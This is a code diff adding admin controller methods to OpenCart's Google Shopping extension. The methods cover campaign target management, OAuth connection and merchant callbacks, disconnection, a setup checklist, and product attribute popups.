+ $data['target_list'] = html_entity_decode($this->url->link('extension/advertise/google/target_list', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_campaign_test'] = html_entity_decode($this->url->link('extension/advertise/google/campaign_test', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['can_edit_campaigns'] = (bool)$this->setting->get('advertise_google_can_edit_campaigns');
+ $data['text_roas_warning'] = sprintf($this->language->get('warning_roas'), date($this->language->get('date_format_long'), time() + Googleshopping::ROAS_WAIT_INTERVAL));
+
+ $data['json_allowed_targets'] = json_encode($this->model_extension_advertise_google->getAllowedTargets());
+
+ $targets = $this->googleshopping->getTargets($this->store_id);
+
+ foreach ($targets as &$target) {
+ if (!$target['roas_status']) {
+ $target['roas_warning'] = sprintf($this->language->get('warning_roas'), date($this->language->get('date_format_long'), $target['roas_available_on']));
+ } else {
+ $target['roas_warning'] = null;
+ }
+ }
+
+ $data['targets'] = $targets;
+ $data['json_targets'] = json_encode($targets);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 3;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_campaign', $data));
+ }
+
+ public function target_add() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateTarget()) {
+ $this->load->model('extension/advertise/google');
+
+ $target = array(
+ 'store_id' => $this->store_id,
+ 'campaign_name' => str_replace(',', ',', trim($this->request->post['campaign_name'])),
+ 'country' => $this->request->post['country'],
+ 'status' => $this->request->post['status'] == 'active' ? 'active' : 'paused',
+ 'budget' => (float)preg_replace('~[^0-9\.]~i', '', $this->request->post['budget']),
+ 'roas' => isset($this->request->post['roas']) ? (int)$this->request->post['roas'] : 0,
+ 'feeds' => array_values($this->request->post['feed'])
+ );
+
+ $this->model_extension_advertise_google->addTarget($target, $this->store_id);
+
+ try {
+ $this->googleshopping->pushTargets();
+
+ $json['success'] = $this->language->get('success_target_add');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['error'] = $e->getMessage();
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+
+ if (isset($this->error['campaign_name'])) {
+ $json['error_campaign_name'] = $this->error['campaign_name'];
+ }
+
+ if (isset($this->error['country'])) {
+ $json['error_country'] = $this->error['country'];
+ }
+
+ if (isset($this->error['budget'])) {
+ $json['error_budget'] = $this->error['budget'];
+ }
+
+ if (isset($this->error['feed'])) {
+ $json['error_feed'] = $this->error['feed'];
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function target_edit() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateTarget()) {
+ $this->load->model('extension/advertise/google');
+
+ $target = array(
+ 'campaign_name' => str_replace(',', ',', trim($this->request->post['campaign_name'])),
+ 'country' => $this->request->post['country'],
+ 'status' => $this->request->post['status'] == 'active' ? 'active' : 'paused',
+ 'budget' => (float)preg_replace('~[^0-9\.]~i', '', $this->request->post['budget']),
+ 'roas' => isset($this->request->post['roas']) ? (int)$this->request->post['roas'] : 0,
+ 'feeds' => array_values($this->request->post['feed'])
+ );
+
+ $this->googleshopping->editTarget((int)$this->request->get['advertise_google_target_id'], $target);
+
+ try {
+ $this->googleshopping->pushTargets();
+
+ $json['success'] = $this->language->get('success_target_edit');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['error'] = $e->getMessage();
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+
+ if (isset($this->error['campaign_name'])) {
+ $json['error_campaign_name'] = $this->error['campaign_name'];
+ }
+
+ if (isset($this->error['country'])) {
+ $json['error_country'] = $this->error['country'];
+ }
+
+ if (isset($this->error['budget'])) {
+ $json['error_budget'] = $this->error['budget'];
+ }
+
+ if (isset($this->error['feed'])) {
+ $json['error_feed'] = $this->error['feed'];
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function target_delete() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ $this->load->model('extension/advertise/google');
+
+ $advertise_google_target_id = (int)$this->request->get['advertise_google_target_id'];
+
+ $target_info = $this->googleshopping->getTarget($advertise_google_target_id);
+
+ if (!empty($target_info)) {
+ try {
+ $this->googleshopping->deleteCampaign($target_info['campaign_name']);
+
+ $this->googleshopping->deleteTarget($advertise_google_target_id);
+
+ $json['success'] = $this->language->get('success_target_delete');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['error'] = $e->getMessage();
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function target_list() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'targets' => null,
+ 'error' => null
+ );
+
+ $this->load->model('extension/advertise/google');
+
+ $targets = $this->googleshopping->getTargets($this->store_id);
+
+ foreach ($targets as &$target) {
+ if (!$target['roas_status']) {
+ $target['roas_warning'] = sprintf($this->language->get('warning_roas'), date($this->language->get('date_format_long'), $target['roas_available_on']));
+ } else {
+ $target['roas_warning'] = null;
+ }
+ }
+
+ $json['targets'] = $targets;
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function callback_merchant() {
+ $state_verified =
+ !empty($this->session->data['advertise_google']['state']) &&
+ !empty($this->request->get['state']) &&
+ $this->request->get['state'] == $this->session->data['advertise_google']['state'];
+
+ $error = isset($this->request->get['error']) ? $this->request->get['error'] : null;
+ $merchant_id = isset($this->request->get['merchant_id']) ? $this->request->get['merchant_id'] : null;
+
+ if ($state_verified && is_null($error)) {
+ $this->load->language('extension/advertise/google');
+
+ try {
+ $this->googleshopping->verifySite();
+
+ $this->load->model('user/user');
+ $user_info = $this->model_user_user->getUser($this->user->getId());
+
+ $this->applyNewSettings(array(
+ 'advertise_google_gmc_account_selected' => true,
+ 'advertise_google_gmc_account_id' => $merchant_id,
+ 'advertise_google_gmc_account_accepted_by' => array(
+ 'user_id' => $user_info['user_id'],
+ 'user_group_id' => $user_info['user_group_id'],
+ 'user_group' => $user_info['user_group'],
+ 'username' => $user_info['username'],
+ 'firstname' => $user_info['firstname'],
+ 'lastname' => $user_info['lastname'],
+ 'email' => $user_info['email'],
+ 'ip' => $user_info['ip']
+ ),
+ 'advertise_google_gmc_account_accepted_at' => time(),
+ 'advertise_google_conversion_tracker' => $this->googleshopping->getConversionTracker(),
+ 'advertise_google_can_edit_campaigns' => '0'
+ ));
+
+ if ($this->session->data['advertise_google']['account_type'] == 'api') {
+ $this->session->data['success'] = sprintf($this->language->get('success_merchant_access'), $merchant_id);
+ } else {
+ $this->session->data['success'] = $this->language->get('success_merchant');
+ }
+
+ if (count($this->googleshopping->getTargets($this->store_id)) > 0) {
+ $this->response->redirect($this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ unset($this->session->data['advertise_google']);
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->session->data['error'] = $e->getMessage();
+ }
+ } else if (!is_null($error)) {
+ $this->session->data['error'] = $error;
+
+ $setting = $this->model_setting_setting->getSetting('advertise_google', $this->store_id);
+
+ unset($setting['advertise_google_status']);
+ unset($setting['advertise_google_work']);
+ unset($setting['advertise_google_gmc_account_selected']);
+ unset($setting['advertise_google_gmc_shipping_taxes_configured']);
+ unset($setting['advertise_google_can_edit_campaigns']);
+
+ $this->model_setting_setting->editSetting('advertise_google', $setting, $this->store_id);
+ }
+
+ unset($this->session->data['advertise_google']);
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ public function callback_connect() {
+ $state_verified =
+ !empty($this->session->data['advertise_google']['state']) &&
+ !empty($this->request->get['state']) &&
+ $this->request->get['state'] == $this->session->data['advertise_google']['state'];
+
+ if ($state_verified) {
+ $this->load->language('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ try {
+ $access = $this->googleshopping->access($this->session->data['advertise_google'], urldecode($this->request->get['code']));
+
+ $this->applyNewSettings(array(
+ 'advertise_google_app_id' => $this->session->data['advertise_google']['app_id'],
+ 'advertise_google_app_secret' => $this->session->data['advertise_google']['app_secret'],
+ 'advertise_google_status' => $this->session->data['advertise_google']['status'],
+ 'advertise_google_cron_token' => $this->session->data['advertise_google']['cron_token'],
+ 'advertise_google_cron_acknowledge' => $this->session->data['advertise_google']['cron_acknowledge'],
+ 'advertise_google_cron_email' => $this->session->data['advertise_google']['cron_email'],
+ 'advertise_google_cron_email_status' => $this->session->data['advertise_google']['cron_email_status'],
+ 'advertise_google_access_token' => $access['access_token'],
+ 'advertise_google_refresh_token' => $access['refresh_token']
+ ));
+
+ $this->session->data['success'] = $this->language->get('success_connect');
+
+ if (count($this->googleshopping->getTargets($this->store_id)) > 0 && $this->setting->get('advertise_google_gmc_account_selected')) {
+ $this->response->redirect($this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->session->data['error'] = $e->getMessage();
+ }
+ } else if (isset($this->request->get['error'])) {
+ $this->session->data['error'] = $this->request->get['error'];
+ }
+
+ unset($this->session->data['advertise_google']);
+
+ if ($this->setting->get('advertise_google_gmc_account_selected')) {
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else {
+ $this->response->redirect($this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+ }
+
+ public function connect() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateSettings() && $this->validateConnect()) {
+ unset($this->session->data['advertise_google']);
+
+ $this->session->data['advertise_google']['app_id'] = $this->request->post['advertise_google_app_id'];
+ $this->session->data['advertise_google']['app_secret'] = $this->request->post['advertise_google_app_secret'];
+ $this->session->data['advertise_google']['status'] = $this->request->post['advertise_google_status'];
+ $this->session->data['advertise_google']['cron_email_status'] = $this->request->post['advertise_google_cron_email_status'];
+ $this->session->data['advertise_google']['cron_email'] = $this->request->post['advertise_google_cron_email'];
+ $this->session->data['advertise_google']['cron_token'] = $this->request->post['advertise_google_cron_token'];
+ $this->session->data['advertise_google']['cron_acknowledge'] = isset($this->request->post['advertise_google_cron_acknowledge']);
+ $this->session->data['advertise_google']['redirect_uri'] = html_entity_decode($this->url->link('extension/advertise/google/callback_connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $this->session->data['advertise_google']['state'] = md5(microtime(true) . json_encode($this->session->data['advertise_google']) . microtime(true));
+
+ $url = $this->googleshopping->authorize($this->session->data['advertise_google']);
+
+ $this->response->redirect($url);
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ if (empty($this->session->data['success']) && $this->getSettingValue('advertise_google_app_id', false) && $this->getSettingValue('advertise_google_app_secret', false)) {
+ $data['error'] = $this->session->data['error'];
+ }
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['error_cron_email'] = $this->getValidationError('cron_email');
+ $data['error_cron_acknowledge'] = $this->getValidationError('cron_acknowledge');
+
+ if (isset($this->error['app_id'])) {
+ $data['error_app_id'] = $this->error['app_id'];
+ } else {
+ $data['error_app_id'] = '';
+ }
+
+ if (isset($this->error['app_secret'])) {
+ $data['error_app_secret'] = $this->error['app_secret'];
+ } else {
+ $data['error_app_secret'] = '';
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $data['advertise_google_status'] = $this->getSettingValue('advertise_google_status', 1);
+ $data['advertise_google_app_id'] = $this->getSettingValue('advertise_google_app_id', '');
+ $data['advertise_google_app_secret'] = $this->getSettingValue('advertise_google_app_secret', '');
+ $data['advertise_google_cron_email_status'] = $this->getSettingValue('advertise_google_cron_email_status');
+ $data['advertise_google_cron_email'] = $this->getSettingValue('advertise_google_cron_email', $this->config->get('config_email'));
+ $data['advertise_google_cron_token'] = $this->getSettingValue('advertise_google_cron_token');
+ $data['advertise_google_cron_acknowledge'] = $this->getSettingValue('advertise_google_cron_acknowledge', null, true);
+
+ $server = $this->googleshopping->getStoreUrl();
+
+ $data['advertise_google_cron_command'] = 'export CUSTOM_SERVER_NAME=' . parse_url($server, PHP_URL_HOST) . '; export CUSTOM_SERVER_PORT=443; export ADVERTISE_GOOGLE_CRON=1; export ADVERTISE_GOOGLE_STORE_ID=' . $this->store_id . '; ' . PHP_BINDIR . '/php -d session.save_path=' . session_save_path() . ' -d memory_limit=256M ' . DIR_SYSTEM . 'library/googleshopping/cron.php > /dev/null 2> /dev/null';
+
+ if (!$this->setting->get('advertise_google_cron_token')) {
+ $data['advertise_google_cron_token'] = md5(mt_rand());
+ }
+
+ $host_and_uri = parse_url($server, PHP_URL_HOST) . dirname(parse_url($server, PHP_URL_PATH));
+
+ $data['advertise_google_cron_url'] = 'https://' . rtrim($host_and_uri, '/') . '/index.php?route=extension/advertise/google/cron&cron_token={CRON_TOKEN}';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ $data['text_connect_intro'] = sprintf($this->language->get('text_connect_intro'), Googleshopping::API_URL);
+
+ $data['current_step'] = 1;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_connect', $data));
+ }
+
+ public function disconnect() {
+ $this->load->language('extension/advertise/google');
+
+ if ($this->validatePermission()) {
+ try {
+ $this->load->model('setting/setting');
+
+ $this->googleshopping->disconnect();
+
+ foreach ($this->googleshopping->getTargets($this->store_id) as $target) {
+ $this->googleshopping->deleteTarget($target['target_id']);
+ }
+
+ $setting = $this->model_setting_setting->getSetting('advertise_google', $this->store_id);
+
+ unset($setting['advertise_google_status']);
+ unset($setting['advertise_google_work']);
+ unset($setting['advertise_google_access_token']);
+ unset($setting['advertise_google_refresh_token']);
+ unset($setting['advertise_google_gmc_account_selected']);
+ unset($setting['advertise_google_gmc_shipping_taxes_configured']);
+ unset($setting['advertise_google_can_edit_campaigns']);
+
+ $this->model_setting_setting->editSetting('advertise_google', $setting, $this->store_id);
+
+ $this->session->data['success'] = $this->language->get('success_disconnect');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->session->data['error'] = $e->getMessage();
+ }
+ } else {
+ $this->session->data['error'] = $this->error['warning'];
+ }
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ public function checklist() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validatePermission()) {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('advertise_google', $this->request->post, $this->store_id);
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $data['text_panel_heading'] = sprintf($this->language->get('text_panel_heading'), $this->googleshopping->getStoreName());
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google/checklist', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_checklist', $data));
+ }
+
+ public function popup_product() {
+ $json = array(
+ 'body' => '',
+ 'title' => '',
+ 'success' => false,
+ 'required_fields' => [],
+ 'success_message' => ''
+ );
+
+ $this->language->load('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ $operand_info = NULL;
+ $form_data = NULL;
+ $filter_data = NULL;
+ $product_ids = array();
+
+ if ($this->request->post['operand']['type'] == 'single') {
+ $product_advertise_google_id = $this->request->post['operand']['data'];
+
+ $product_info = $this->model_extension_advertise_google->getProductByProductAdvertiseGoogleId($product_advertise_google_id);
+
+ if ($product_info !== NULL) {
+ $json['product_id'] = $product_info['product_id'];
+
+ // Required variables:
+ $operand_info = array(
+ 'title' => sprintf($this->language->get('text_popup_title_single'), $product_info['name'], $product_info['model'])
+ );
+
+ $required_fields = $this->model_extension_advertise_google->getRequiredFieldsByProductIds(array($product_info['product_id']), $this->store_id);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = array_merge($this->request->post['form'], array(
+ 'product_id' => $product_info['product_id']
+ ));
+ }
+
+ $options = $this->model_extension_advertise_google->getProductOptionsByProductIds(array($product_info['product_id']));
+
+ $default_form_data = $this->model_extension_advertise_google->getProductAdvertiseGoogle($product_advertise_google_id);
+ }
+ } else if ($this->request->post['operand']['type'] == 'multiple') {
+ if (!empty($this->request->post['operand']['data']['all_pages'])) {
+ $filter_data = $this->getFilter($this->request->post['operand']['data']['filter']);
+
+ $total_products = $this->googleshopping->getTotalProducts($filter_data, $this->store_id);
+
+ // Required variables:
+ $operand_info = array(
+ 'title' => sprintf($this->language->get('text_popup_title_multiple'), $total_products)
+ );
+
+ $required_fields = $this->model_extension_advertise_google->getRequiredFieldsByFilter($filter_data, $this->store_id);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = $this->request->post['form'];
+ }
+
+ $options = $this->model_extension_advertise_google->getProductOptionsByFilter($filter_data);
+ } else {
+ $product_ids = $this->request->post['operand']['data']['select'];
+
+ $total_products = count($product_ids);
+
+ // Required variables:
+ $operand_info = array(
+ 'title' => sprintf($this->language->get('text_popup_title_multiple'), $total_products)
+ );
+
+ $required_fields = $this->model_extension_advertise_google->getRequiredFieldsByProductIds($product_ids, $this->store_id);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = $this->request->post['form'];
+ }
+
+ $options = $this->model_extension_advertise_google->getProductOptionsByProductIds($product_ids);
+ }
+
+ $default_form_data = array(
+ 'google_product_category' => '',
+ 'condition' => '',
+ 'adult' => '',
+ 'multipack' => '',
+ 'is_bundle' => '',
+ 'age_group' => '',
+ 'color' => '',
+ 'gender' => '',
+ 'size_type' => '',
+ 'size_system' => '',
+ 'size' => ''
+ );
+ }
+
+ if ($operand_info !== NULL) {
+ $json['title'] = $operand_info['title'];
+ $json['success_message'] = $this->language->get('success_product');
+
+ $this->load->config('googleshopping/googleshopping');
+
+ $json['required_fields'] = $required_fields;
+
+ if ($this->request->post['action'] == 'submit' && $this->validateProduct($required_fields)) {
+ $form_data['store_id'] = (int)$this->store_id;
+
+ if ($this->request->post['operand']['type'] == 'single') {
+ $this->model_extension_advertise_google->updateSingleProductFields($form_data);
+ } else if ($this->request->post['operand']['type'] == 'multiple') {
+ if (!empty($this->request->post['operand']['data']['all_pages'])) {
+ $this->model_extension_advertise_google->updateMultipleProductFields($filter_data, $form_data);
+ } else {
+ foreach ($product_ids as $product_id) {
+ $form_data['product_id'] = (int)$product_id;
+ $this->model_extension_advertise_google->updateSingleProductFields($form_data);
+ }
+ }
+ }
+
+ $json['success'] = true;
+ }
+
+ $data['error'] = '';
+
+ if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ if (isset($this->error['color'])) {
+ $data['error_color'] = $this->error['color'];
+ } else {
+ $data['error_color'] = '';
+ }
+
+ if (isset($this->error['size_system'])) {
+ $data['error_size_system'] = $this->error['size_system'];
+ } else {
+ $data['error_size_system'] = '';
+ }
+
+ if (isset($this->error['size_type'])) {
+ $data['error_size_type'] = $this->error['size_type'];
+ } else {
+ $data['error_size_type'] = '';
+ }
+
+ if (isset($this->error['size'])) {
+ $data['error_size'] = $this->error['size'];
+ } else {
+ $data['error_size'] = '';
+ }
+
+ if (isset($this->error['product_category'])) {
+ $data['error_product_category'] = $this->error['product_category'];
+ } else {
+ $data['error_product_category'] = '';
+ }
+
+ if (isset($this->error['condition'])) {
+ $data['error_condition'] = $this->error['condition'];
+ } else {
+ $data['error_condition'] = '';
+ }
+
+ if (isset($this->error['age_group'])) {
+ $data['error_age_group'] = $this->error['age_group'];
+ } else {
+ $data['error_age_group'] = '';
+ }
+
+ if (isset($this->error['gender'])) {
+ $data['error_gender'] = $this->error['gender'];
+ } else {
+ $data['error_gender'] = '';
+ }
+
+ if (isset($this->error['adult'])) {
+ $data['error_adult'] = $this->error['adult'];
+ } else {
+ $data['error_adult'] = '';
+ }
+
+ if (isset($this->error['multipack'])) {
+ $data['error_multipack'] = $this->error['multipack'];
+ } else {
+ $data['error_multipack'] = '';
+ }
+
+ if (isset($this->error['is_bundle'])) {
+ $data['error_is_bundle'] = $this->error['is_bundle'];
+ } else {
+ $data['error_is_bundle'] = '';
+ }
+
+ $data['google_product_categories'] = $this->config->get('advertise_google_google_product_categories');
+ $data['conditions'] = array(
+ 'new' => $this->language->get('text_condition_new'),
+ 'refurbished' => $this->language->get('text_condition_refurbished'),
+ 'used' => $this->language->get('text_condition_used')
+ );
+ $data['age_groups'] = array(
+ '' => $this->language->get('text_does_not_apply'),
+ 'newborn' => $this->language->get('text_age_group_newborn'),
+ 'infant' => $this->language->get('text_age_group_infant'),
+ 'toddler' => $this->language->get('text_age_group_toddler'),
+ 'kids' => $this->language->get('text_age_group_kids'),
+ 'adult' => $this->language->get('text_age_group_adult')
+ );
+ $data['genders'] = array(
+ 'unisex' => $this->language->get('text_gender_unisex'),
+ 'female' => $this->language->get('text_gender_female'),
+ 'male' => $this->language->get('text_gender_male')
+ );
+ $data['size_systems'] = array(
+ '' => $this->language->get('text_does_not_apply')
+ );
+ foreach ($this->config->get('advertise_google_size_systems') as $system) {
+ $data['size_systems'][$system] = $system;
+ }
+
+ $data['size_types'] = array(
+ '' => $this->language->get('text_does_not_apply'),
+ 'regular' => $this->language->get('text_size_type_regular'),
+ 'petite' => $this->language->get('text_size_type_petite'),
+ 'plus' => $this->language->get('text_size_type_plus'),
+ 'big and tall' => $this->language->get('text_size_type_big_and_tall'),
+ 'maternity' => $this->language->get('text_size_type_maternity')
+ );
+
+ $data['options'] = array(
+ '' => $this->language->get('text_does_not_apply')
+ );
+
+ foreach ($options as $option) {
+ $data['options'][$option['option_id']] = $option['name'];
+ }
+
+ $data['required_fields'] = json_encode($required_fields);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = $this->request->post['form'];
+ } else {
+ $form_data = $default_form_data;
+ }
+
+ $data['google_product_category'] = $form_data['google_product_category'];
+ $data['condition'] = $form_data['condition'];
+ $data['adult'] = $form_data['adult'];
+ $data['multipack'] = $form_data['multipack'];
+ $data['is_bundle'] = $form_data['is_bundle'];
+ $data['age_group'] = $form_data['age_group'];
+ $data['color'] = $form_data['color'];
+ $data['gender'] = $form_data['gender'];
+ $data['size_type'] = $form_data['size_type'];
+ $data['size_system'] = $form_data['size_system'];
+ $data['size'] = $form_data['size'];
+
+ $json['body'] = $this->load->view('extension/advertise/google_popup_product', $data);
+ } else {
+ $json['title'] = $this->language->get('error_popup_not_found_title');
+ $json['body'] = $this->language->get('error_popup_not_found_body');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function popup_issues() {
+ $json = array(
+ 'body' => '',
+ 'title' => ''
+ );
+
+ $this->language->load('extension/advertise/google');
+
+ $this->load->model('catalog/product');
+ $this->load->model('extension/advertise/google');
+
+ $product_id = isset($this->request->get['product_id']) ? (int)$this->request->get['product_id'] : 0;
+
+ $product_issues = $this->model_extension_advertise_google->getProductIssues($product_id, $this->store_id);
+
+ if ($product_issues !== NULL) {
+ $json['title'] = sprintf($this->language->get('text_popup_title_single'), $product_issues['name'], $product_issues['model']);
+
+ $data['product_issues'] = $product_issues['entries'];
+
+ $json['body'] = $this->load->view('extension/advertise/google_popup_issues', $data);
+ } else {
+ $json['title'] = $this->language->get('error_popup_not_found_title');
+ $json['body'] = $this->language->get('error_popup_not_found_body');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function admin_link(&$route, &$data, &$template) {
+ if (!$this->user->hasPermission('access', 'extension/advertise/google')) {
+ return;
+ }
+
+ foreach ($data['menus'] as &$menu) {
+ if ($menu['id'] == 'menu-marketing') {
+ $children = array();
+
+ $this->load->model('setting/store');
+
+ $children[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'children' => array(),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=0&user_token=' . $this->session->data['user_token'], true)
+ );
+
+ foreach ($this->model_setting_store->getStores() as $store) {
+ $children[] = array(
+ 'name' => $store['name'],
+ 'children' => array(),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $store['store_id'] . '&user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+
+ array_push($menu['children'], array(
+ 'name' => 'Google Shopping',
+ 'children' => $children,
+ 'href' => ''
+ ));
+
+ return;
+ }
+ }
+ }
+
+ public function addProduct(&$route, &$args, &$output) {
+ $this->load->model('extension/advertise/google');
+ $this->load->model('catalog/product');
+
+ foreach ($this->model_catalog_product->getProductStores($output) as $store_id) {
+ $this->model_extension_advertise_google->insertNewProducts(array($output), $store_id);
+ }
+ }
+
